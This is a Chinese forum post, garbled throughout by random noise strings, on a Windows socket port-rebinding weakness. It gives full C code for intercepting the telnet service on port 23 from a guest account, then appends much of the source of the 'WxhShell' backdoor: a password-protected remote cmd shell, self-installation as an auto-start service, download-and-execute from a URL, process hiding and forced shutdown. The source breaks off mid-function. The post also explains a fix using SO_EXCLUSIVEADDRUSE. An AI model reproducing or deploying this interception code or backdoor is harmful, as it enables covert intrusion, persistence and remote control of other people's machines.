在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9 68Ez
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
9(Xn>G'iT ?r4>" [ saddr.sin_family = AF_INET;
=3P)q" :ws<-Qy saddr.sin_addr.s_addr = htonl(INADDR_ANY);
At;LO9T3z h?U
O&( bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3v-~K)hl? Vurqt_nb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}GM'.yutX (ZlU^Gw#UB 这意味着什么?意味着可以进行如下的攻击:
z1a7*)8P -9?]IIVb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;_=&-mz 6 u6x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
A#,ZUOPGH fz_r7? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%]i15;{X xE}>,O|'q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
%BODkc Zh UiNP3TJ'L 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
DY*N|OnqJ lOp`m8_= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8@R|Km5h Fr-SvsNFB 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7tp36 TE 3so%gvY.' #include
P+}h$_x #include
j~MI<I+l[ #include
WIGi51yC.x #include
rJB}qYD DWORD WINAPI ClientThread(LPVOID lpParam);
Z_NCD`i; int main()
=_^X3z0 {
*
y,v}- WORD wVersionRequested;
*^`Vz?g< DWORD ret;
pj(,Zd[47 WSADATA wsaData;
LP=)~K< BOOL val;
n6v6K1 SOCKADDR_IN saddr;
x)&\z} SOCKADDR_IN scaddr;
;.C\Ss<>* int err;
"@ n%Z SOCKET s;
%iB,IEw SOCKET sc;
O6Y0XL int caddsize;
9+N-eW_U HANDLE mt;
="e+W@C DWORD tid;
EQ_aa@M7 wVersionRequested = MAKEWORD( 2, 2 );
h+,@G,|D err = WSAStartup( wVersionRequested, &wsaData );
>Q*Wi if ( err != 0 ) {
.+qpk*V\ printf("error!WSAStartup failed!\n");
Bbc^FHip return -1;
d;>QhoiL }
~LC-[&$ saddr.sin_family = AF_INET;
KPki}'GO -\MG}5?! //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
FI.\%x d(K+);! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v[<T]1=LRC saddr.sin_port = htons(23);
O.M1@w] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6u%&<")4HP {
4M T 7 `sr printf("error!socket failed!\n");
wC*X4 ' return -1;
i/.6>4tE: }
UF|p';oom val = TRUE;
gGuO //SO_REUSEADDR选项就是可以实现端口重绑定的
05R@7[GWq if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
HOi`$vX}N {
- YBY[%jF> printf("error!setsockopt failed!\n");
E-FUlOG& return -1;
A@'OJRc }
ry]l.@o; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
W*G<X.Hf //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
QGz|*] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g)B]FH1 |y*c9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Rb;'O89Hj@ {
F"kAkX>3} ret=GetLastError();
zm# ?W printf("error!bind failed!\n");
iow"n$/ return -1;
4Tc~b3\!Y }
3' 'me listen(s,2);
,: ^u-b| while(1)
~"bVL[ {
*^r}"in caddsize = sizeof(scaddr);
o;*Q}Gr<M //接受连接请求
fV~~J2IK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_v:SP
L U if(sc!=INVALID_SOCKET)
@9:uqsL {
]@TCk8d$0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'fW-Y!k% if(mt==NULL)
4e {
y>LBl] printf("Thread Creat Failed!\n");
{h4E8.E break;
tX[WH\(xI }
bd`P0f? }
9JwPSAo; CloseHandle(mt);
T4F/w|Q }
SfR%s8c` closesocket(s);
_dU\JD WSACleanup();
Xc.`-J~Il return 0;
NlXimq }
1mJHued=6 DWORD WINAPI ClientThread(LPVOID lpParam)
sRfcF`7 {
c " ,*h SOCKET ss = (SOCKET)lpParam;
}a/Cro.~4 SOCKET sc;
8EY:tzw unsigned char buf[4096];
(%9$! v{3 SOCKADDR_IN saddr;
0 {mex4 long num;
5R7DDJk DWORD val;
(5~h"s DWORD ret;
1x^GWtRp //如果是隐藏端口应用的话,可以在此处加一些判断
D'4\*4is //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
HT@=evV saddr.sin_family = AF_INET;
#E]59_
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
4K74=r),i saddr.sin_port = htons(23);
f
mGc^d|= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QL* IiFR {
vSh`&w^* printf("error!socket failed!\n");
?ubro0F: return -1;
$d4n"+7 }
JI5Dy>u: val = 100;
X?Au/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'q.!|G2U {
B<-Wea ret = GetLastError();
(.,G=\! return -1;
Ca\6vR }
,?3G;- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;}t(Wnu. {
K^[?O{x^B ret = GetLastError();
Ho%CDz
z return -1;
+[P{&\d4} }
Zc2PepIg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
11lsf/IP {
D{!IW!w printf("error!socket connect failed!\n");
g&.=2uP closesocket(sc);
<GsuZ closesocket(ss);
e(yh[7p= return -1;
n`KY9[0U= }
@pxcpXCy while(1)
G&dKY h\ {
OJxl<Q=z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}\LQ3y"[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
8i pez/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Debv4Gr;^ num = recv(ss,buf,4096,0);
$8FUfJ1@ if(num>0)
snJ129}A send(sc,buf,num,0);
7o4\oRGV else if(num==0)
'<M{)? break;
uq{beC num = recv(sc,buf,4096,0);
3CJwj if(num>0)
cNH7C"@GVu send(ss,buf,num,0);
_G0x3 else if(num==0)
;Qq\DFe.w break;
~5g ~;f[4 }
`{Ul! closesocket(ss);
1Z;iV<d closesocket(sc);
qWw=8Bq return 0 ;
o(HbGHIP }
<QvOs@i* W%J\qA +v\oOBB) ==========================================================
NO3/rJ6- j#6.Gq 下边附上一个代码,,WXhSHELL
qb4z
T ;nGa.= "L ==========================================================
o}!PQ#`M cu6Opq9 #include "stdafx.h"
DrQ`]]jj7 /E>e"tvss #include <stdio.h>
[!z,lY> #include <string.h>
u4j5w #include <windows.h>
B1STG L`nK #include <winsock2.h>
6wxs1G #include <winsvc.h>
$u.z*b_yy #include <urlmon.h>
:Sma`U& iB{V^ksU #pragma comment (lib, "Ws2_32.lib")
]?*wbxU0 #pragma comment (lib, "urlmon.lib")
7 3m1 /o[w4d8 #define MAX_USER 100 // 最大客户端连接数
Q;u pau #define BUF_SOCK 200 // sock buffer
HV.t6@\}; #define KEY_BUFF 255 // 输入 buffer
O84i;S+-p oQ# 8nu{k #define REBOOT 0 // 重启
m2o0y++TjW #define SHUTDOWN 1 // 关机
]tD]Wx% SdWV3 #define DEF_PORT 5000 // 监听端口
&o*A{ <qSC#[xu #define REG_LEN 16 // 注册表键长度
OYd !v`< #define SVC_LEN 80 // NT服务名长度
`]X>V, 1qch]1
^G // 从dll定义API
0mnw{fE8_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]!
dTG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
/ +\9S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6pzSp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(?c-iKGc OH88n69 // wxhshell配置信息
G9lUxmS< struct WSCFG {
7"mc+QOp int ws_port; // 监听端口
Zh,71Umz char ws_passstr[REG_LEN]; // 口令
g ?k=^C int ws_autoins; // 安装标记, 1=yes 0=no
IU[ [H# char ws_regname[REG_LEN]; // 注册表键名
#jk_5W char ws_svcname[REG_LEN]; // 服务名
>bxS3FCX char ws_svcdisp[SVC_LEN]; // 服务显示名
`g,..Ns-r char ws_svcdesc[SVC_LEN]; // 服务描述信息
k\IbIv7?i char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[~
fraK,) int ws_downexe; // 下载执行标记, 1=yes 0=no
R@0R`Zs char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
p[-O( 3Y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Jvi#) 1,~D4lD| };
y^k$Us KP"+e:a% // default Wxhshell configuration
8QK&_n* struct WSCFG wscfg={DEF_PORT,
S:Hl/:iV "xuhuanlingzhe",
<UI
[%yXj 1,
<[phnU^
8 "Wxhshell",
aYeR{Y] "Wxhshell",
JLYi]nZ "WxhShell Service",
%RVZD#zr "Wrsky Windows CmdShell Service",
IcEdG( "Please Input Your Password: ",
)7d&NE_ 1,
j [a(#V{ "
http://www.wrsky.com/wxhshell.exe",
4JEpl'5^Q "Wxhshell.exe"
TV:9bn?r) };
}#J/fa9
! J05e#-)<K // 消息定义模块
!W\+#ez char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7
&\yj9 char *msg_ws_prompt="\n\r? for help\n\r#>";
cR{#V1Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
~?dI*BZ)] char *msg_ws_ext="\n\rExit.";
v^iAD2X/F char *msg_ws_end="\n\rQuit.";
: +u]S2u{ char *msg_ws_boot="\n\rReboot...";
%)|s1B'd char *msg_ws_poff="\n\rShutdown...";
Fs{*XKv&lH char *msg_ws_down="\n\rSave to ";
omFz@ @ 7u 0v char *msg_ws_err="\n\rErr!";
[m -bV$-d char *msg_ws_ok="\n\rOK!";
\G BuWY3B @L`jk+Y0vF char ExeFile[MAX_PATH];
>sF)BoLc int nUser = 0;
S@Y39 HANDLE handles[MAX_USER];
7nSxi+6e int OsIsNt;
fOHxtHM 5N]"~w* SERVICE_STATUS serviceStatus;
9^x> 3Bo SERVICE_STATUS_HANDLE hServiceStatusHandle;
@d_M@\r=j KXrjqqXs // 函数声明
Z,=1buSz_ int Install(void);
k!^{eOM int Uninstall(void);
K@2),(z int DownloadFile(char *sURL, SOCKET wsh);
Fcx&hj1gQ int Boot(int flag);
}qUX=s
GG void HideProc(void);
^pS~Z~[d/ int GetOsVer(void);
jo7\`#(Q int Wxhshell(SOCKET wsl);
t:S+%u U void TalkWithClient(void *cs);
LP-o8c int CmdShell(SOCKET sock);
=AT."$r>
int StartFromService(void);
b$7 +;I; int StartWxhshell(LPSTR lpCmdLine);
IgzQr > zqku e%^?- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7^285)UQA VOID WINAPI NTServiceHandler( DWORD fdwControl );
NHt\
U9l' rjP/l6
~' // 数据结构和表定义
@CoIaUVP SERVICE_TABLE_ENTRY DispatchTable[] =
yu|>t4#GT {
>l m&iF3y {wscfg.ws_svcname, NTServiceMain},
N[hG8f {NULL, NULL}
QPx^_jA };
:3PH8TL 46x'I( // 自我安装
yauvXosX int Install(void)
[UR-I0 s!/ {
@iiT< char svExeFile[MAX_PATH];
hoP]9&<T HKEY key;
/
1RpM]d strcpy(svExeFile,ExeFile);
W)/#0*7 5G#n"}T // 如果是win9x系统,修改注册表设为自启动
("@!>|H if(!OsIsNt) {
F@t3!bj9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#Z #-Ht RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X2_=agEP RegCloseKey(key);
}ZI7J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hPh-+Hb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s~>}a RegCloseKey(key);
r%_djUd return 0;
S/ *E,))m }
=I<R! ZSN }
aXVFc5C\ }
~o( else {
wkq 66? .}t
e>]A* // 如果是NT以上系统,安装为系统服务
9$t(&z= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
GdwVtqbX if (schSCManager!=0)
4*L_)z&4; {
x2EUr,7 SC_HANDLE schService = CreateService
-=="<0c (
+vH4MwG$.& schSCManager,
J,hCvm wscfg.ws_svcname,
mw!F{pw wscfg.ws_svcdisp,
'91/md5 SERVICE_ALL_ACCESS,
29rX%09T] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{ax:RUQxy SERVICE_AUTO_START,
/z!%d%" SERVICE_ERROR_NORMAL,
}C:r9?T svExeFile,
\bF{-" 7. NULL,
H|*m$|$, NULL,
[
3Gf2_ NULL,
7_L;E~\ NULL,
RN1_S NULL
bOB\--:] );
_#niyW+?~ if (schService!=0)
do%&m]#; {
a[C@ CloseServiceHandle(schService);
KXy6Eno CloseServiceHandle(schSCManager);
$`c:& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9Na$W:P
c strcat(svExeFile,wscfg.ws_svcname);
@FeTz[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
D-c4EV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#R"*c
hLV RegCloseKey(key);
p ?!/+ return 0;
rsQtMtS2 }
-"`=1l }
3mgD(,(^ CloseServiceHandle(schSCManager);
>%G1"d?j }
7r!x1 }
M7T5
~/4 %4H%?4 return 1;
Sf'CN8 }
I0-MRU~[K zdYjF| // 自我卸载
\<' ?8ri# int Uninstall(void)
DF= *_,2/ {
Ie_wHcM< HKEY key;
+R &gqja paK2xX8E if(!OsIsNt) {
Q?vlfZR`8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(e~N q RegDeleteValue(key,wscfg.ws_regname);
2 nCA<& RegCloseKey(key);
6'/ #+,d' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D^O@'zP=At RegDeleteValue(key,wscfg.ws_regname);
6N4~~O RegCloseKey(key);
\85i+q:LuA return 0;
gJXaPJA{ }
}OUt sh ]y }
AKC`TA*E }
tA;}h7/Lc~ else {
8=l%5r^cq YWLj?+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
wp_0+$?s if (schSCManager!=0)
Upe%rC( {
u_enqC3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
?
t|[? if (schService!=0)
nUO0Ce {
2ESo2 if(DeleteService(schService)!=0) {
]DcFySyv CloseServiceHandle(schService);
X8|, CloseServiceHandle(schSCManager);
aOp\91
return 0;
;TYBx24vD' }
K-4PI+qQ\ CloseServiceHandle(schService);
p+eh%2Jm }
z_HdISy0 CloseServiceHandle(schSCManager);
/xhKd]Q }
Vksuu@cch }
Hka2 L,\Iasv return 1;
\hXDO_U }
KoT\pY^7\ {FkF // 从指定url下载文件
^W^OfY int DownloadFile(char *sURL, SOCKET wsh)
/wp6KXm {
`3pW]&
HRESULT hr;
'DR!9De char seps[]= "/";
eFgA 8kY) char *token;
c)J%`i$ char *file;
;uJMG char myURL[MAX_PATH];
Hs8>anVo[ char myFILE[MAX_PATH];
zPO9!?7| V!Uc( strcpy(myURL,sURL);
6m93puY`7 token=strtok(myURL,seps);
K1KreYlF while(token!=NULL)
]kSG R {
L0,'mS file=token;
2G7Wi!J token=strtok(NULL,seps);
&d!GImcxQ }
>Tgv11[ ll^#JpT[S GetCurrentDirectory(MAX_PATH,myFILE);
<I?Zk80 strcat(myFILE, "\\");
-RwE%cr strcat(myFILE, file);
fC`&g~yK' send(wsh,myFILE,strlen(myFILE),0);
c{|p.hd send(wsh,"...",3,0);
$FV NCFN% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]^E?;1$f? if(hr==S_OK)
la!~\wpa return 0;
:TbgFQ86~ else
}vuO$j return 1;
CJY$G}rk FrS]|=LJhX }
Ui~>SN>s 1}x%%RD_ // 系统电源模块
K?;DMUSY\ int Boot(int flag)
afVT~Sf{ {
+7Gwg HANDLE hToken;
@ Y+oiB~Y TOKEN_PRIVILEGES tkp;
Z@HEj_n [txE .7p if(OsIsNt) {
j#|ZP-=1_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
vh^VxS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}2jn[${ pr tkp.PrivilegeCount = 1;
@d'j zs tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
H_a[)DT AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
zhQJy?>'m if(flag==REBOOT) {
I7onX,U+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
B,@i return 0;
(PLUFT }
d]9z@Pd else {
2/?|&[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{ 6il`>=C return 0;
KlEpzJ98 }
2y4bwi }
*dQSw)R else {
ES[G if(flag==REBOOT) {
f*Hr^b}`8 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
i-1op> Y return 0;
&C}*w2]0S }
sHj/; else {
3o*YzwRt if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-).C return 0;
9 hl_|r~%* }
=X}J6|>X }
I9^x,F"E] &oNAv-m^GD return 1;
[^iN}Lz }
2?C)& wYea\^co // win9x进程隐藏模块
/vt3>d%B; void HideProc(void)
:gv"M8AP {
F59 TZI W9&=xs6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Qs!5<)6
if ( hKernel != NULL )
w0.
u\ {
+ {]j]OP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
k$Vl fQ'+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]Ljf?tk FreeLibrary(hKernel);
*~`(RV }
h[ ZN+M Wwo0%<2y return;
e-;}366} }
!WlH'y-I 6Wn1{v0 // 获取操作系统版本
4+n\k int GetOsVer(void)
)X7A {
9r9NxKuAO OSVERSIONINFO winfo;
Z+SRXKQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
/
{%%"j GetVersionEx(&winfo);
S:}7q2: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+T ?NH9 return 1;
}V>T M{ else
Om&Dw|xG8 return 0;
f);FoVa6 }
MV"=19] #yen8SskB // 客户端句柄模块
l;U?Z'n int Wxhshell(SOCKET wsl)
tPvpJX6kP {
"@kaHIf[ SOCKET wsh;
f$( e\++ struct sockaddr_in client;
6!o1XQr=Z DWORD myID;
gw(z1L5
n K3C <{#r while(nUser<MAX_USER)
kfNWI#'9
{
f1? >h\F8 int nSize=sizeof(client);
M|-)GvR$J wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ICCc./l| if(wsh==INVALID_SOCKET) return 1;
fA-7VdR`R KoY F] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
pAEx#ck if(handles[nUser]==0)
~[: 2I closesocket(wsh);
Dq xs+ else
s2?&! nUser++;
L];b<*d }
rQX zR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
X&zis1A< E`q_bn return 0;
#$vEGY}1 }
,Q B<7a+I G3]4A&h9v~ // 关闭 socket
E7hhew void CloseIt(SOCKET wsh)
rNM;ZPF# {
?%86/N> closesocket(wsh);
)0MB9RMk1 nUser--;
B!yr!DWv ExitThread(0);
kza5ab }
|{;G2G1[ ^aQ"E9 // 客户端请求句柄
NI5``BwpO void TalkWithClient(void *cs)
zi:BF60]= {
"b[5]Y{
U Bq>m{ SOCKET wsh=(SOCKET)cs;
-M2yw char pwd[SVC_LEN];
Q\)F;: | char cmd[KEY_BUFF];
,Q,^3*HX9} char chr[1];
.pq%?& int i,j;
&zhAh1m .543N<w while (nUser < MAX_USER) {
,[Fb[#Qqb S'14hk< if(wscfg.ws_passstr) {
t5zKW _J7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5;S.H#YOpO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[Q =Nn //ZeroMemory(pwd,KEY_BUFF);
Je@v8{][| i=0;
F?cK-. while(i<SVC_LEN) {
7rA;3?p) eQ"E // 设置超时
D0Cy^_ fd_set FdRead;
/bEAK- struct timeval TimeOut;
cAy3^{3: FD_ZERO(&FdRead);
HThcn1u~^b FD_SET(wsh,&FdRead);
-hV*EPQ/ TimeOut.tv_sec=8;
kLY^! TimeOut.tv_usec=0;
/> Nt[o[r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
:jx4{V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@KA4N` 4=.so~9odX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$|@ r!/W pwd
=chr[0]; DJ%PWlK5
if(chr[0]==0xd || chr[0]==0xa) { B:QHwzd
pwd=0; i&k7-<
break; \f)#>+X-
}
9akH
i++; {|\.i
} RL<c>PY
?}7p"3j'z
// 如果是非法用户,关闭 socket KU;9}!#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7?t6UPf
} *qMY22X
3~\[7I/
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gc!x|V;T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %bfZn9_m
>j`qh:^
while(1) { MW{8VH6+
ZB&6<uw
ZeroMemory(cmd,KEY_BUFF); }&e5$lB
!by\9
?n
// 自动支持客户端 telnet标准 j.kG};f
j=0; yEoV[K8k
while(j<KEY_BUFF) { qFNes)_r
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CP{cAzHO
cmd[j]=chr[0]; n(|^SH4$b
if(chr[0]==0xa || chr[0]==0xd) { M[uA@
cmd[j]=0; J$!iq|
break; Z)\@i=m
} C
$JmzrE
j++; @o6L6Y0Naa
} 4e1Y/
Xq`
/=, nGk>
// 下载文件 AK#1]i~
if(strstr(cmd,"http://")) { U?=Dg1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q^(b)>?r;
if(DownloadFile(cmd,wsh)) j)GtEP<n#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IMfqiH)
else `KQvJjA6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CA#,THty
} g4@ lM"|S
else { #=v~8
h*Pc=/p
switch(cmd[0]) { w\brVnt
p"Z-6m~
// 帮助 @fV9
S"TcM
case '?': { lA-h`rl/
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xjUtl
break; z"4~P3>{g
} D )'bH5
// 安装 Z`BK/:vo3H
case 'i': { D1mfm.9_r^
if(Install()) GDy9qUV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4NIRmDEd
else pO.2<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (%:c#;#
break; r(2uu
} /^|Dbx!u
// 卸载 |B2+{@R
case 'r': { :U(A;U1,
if(Uninstall()) aoa)BNs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D#/Bx[
else SC])?h-Fw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UEVG0qF
break; |id
<=Xf
} /Qk4
// 显示 wxhshell 所在路径 u=_mvN
case 'p': { 2Q"K8=s
char svExeFile[MAX_PATH]; 4X(H;
strcpy(svExeFile,"\n\r"); 19KQlMO.G
strcat(svExeFile,ExeFile); [R7Y}k:9U
send(wsh,svExeFile,strlen(svExeFile),0); )D82N`c2\i
break; {T
Ug.%u
} \K<QmK
// 重启 f.`*Qg L
case 'b': { X/M4!L}\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W1FI mlXS
if(Boot(REBOOT)) J{&H+rd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3gj+%%!G\
else { VgC2+APg
closesocket(wsh); 1q1jZqno
ExitThread(0); [bNx^VP*
} _aMPa+D=P
break; k/gZ,
} L4|`;WP
// 关机 "4,?uPi
case 'd': { \qK&q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =+MPFhvg!
if(Boot(SHUTDOWN)) [o5Hl^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3%;a)c;D
else { 4^OY
C
closesocket(wsh); ["e3Ez
ExitThread(0); GU8sO@S5#
} u21EP[[,
break; do+.aOC
} 3+fp2
// 获取shell ^7KH _t8
case 's': { U,- 39mr
CmdShell(wsh); w+E,INdi
closesocket(wsh); pWsDzb6?%
ExitThread(0); -FQ 'agf@&
break; zXxT%ZcCj
} V2|aN<Sx<
// 退出 f|lU6EkU
case 'x': { Um-[~-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^ tg<K
CloseIt(wsh); O[)kboY
break; >R!jB]5
} vf%&4\ib
// 离开 }\:NuTf
case 'q': { w{@ o^rs
send(wsh,msg_ws_end,strlen(msg_ws_end),0); I \[_9
closesocket(wsh); 1gy.8i
WSACleanup(); 7.#F,Ue_0T
exit(1); zvH8^1yzG
break; i,4>0o?
} t+iHQfuP9A
} e`xdSi>E
} jesGV<`?l
]4]6Qki
// 提示信息 #& Rw&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j; y#[|
} a (b#
} O-I[igNl
v,{yU\)
return; ?>rW>U6:P
} ,\n&I(
(#RHB`h5
// shell模块句柄 W=vP]x
>J
int CmdShell(SOCKET sock) +M$Q
=6/
{ 8a'.ZdqC?
STARTUPINFO si; i/ )am9
ZeroMemory(&si,sizeof(si)); Y>G@0r BG
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kDN:ep{/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |>27B
PROCESS_INFORMATION ProcessInfo; iIa'2+
char cmdline[]="cmd"; W!&'pg
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qHrA%k^!2O
return 0; ,\ k(x>oy
} DB:+E|vSD
Id|L`
w
// 自身启动模式 >eB\(EP
int StartFromService(void) D.Q=]jOs
{ Dg?70v<a
typedef struct X+S9{X#Cm
{ O6/f5
DWORD ExitStatus; HO%wHiv1X
DWORD PebBaseAddress; fb8g7H|
DWORD AffinityMask; 7=WT69,&
DWORD BasePriority; af+IP_6
.
ULONG UniqueProcessId; 7Kal"Ew
ULONG InheritedFromUniqueProcessId; ^1aAjYFn
} PROCESS_BASIC_INFORMATION; TXk?#G\o
sq[iY
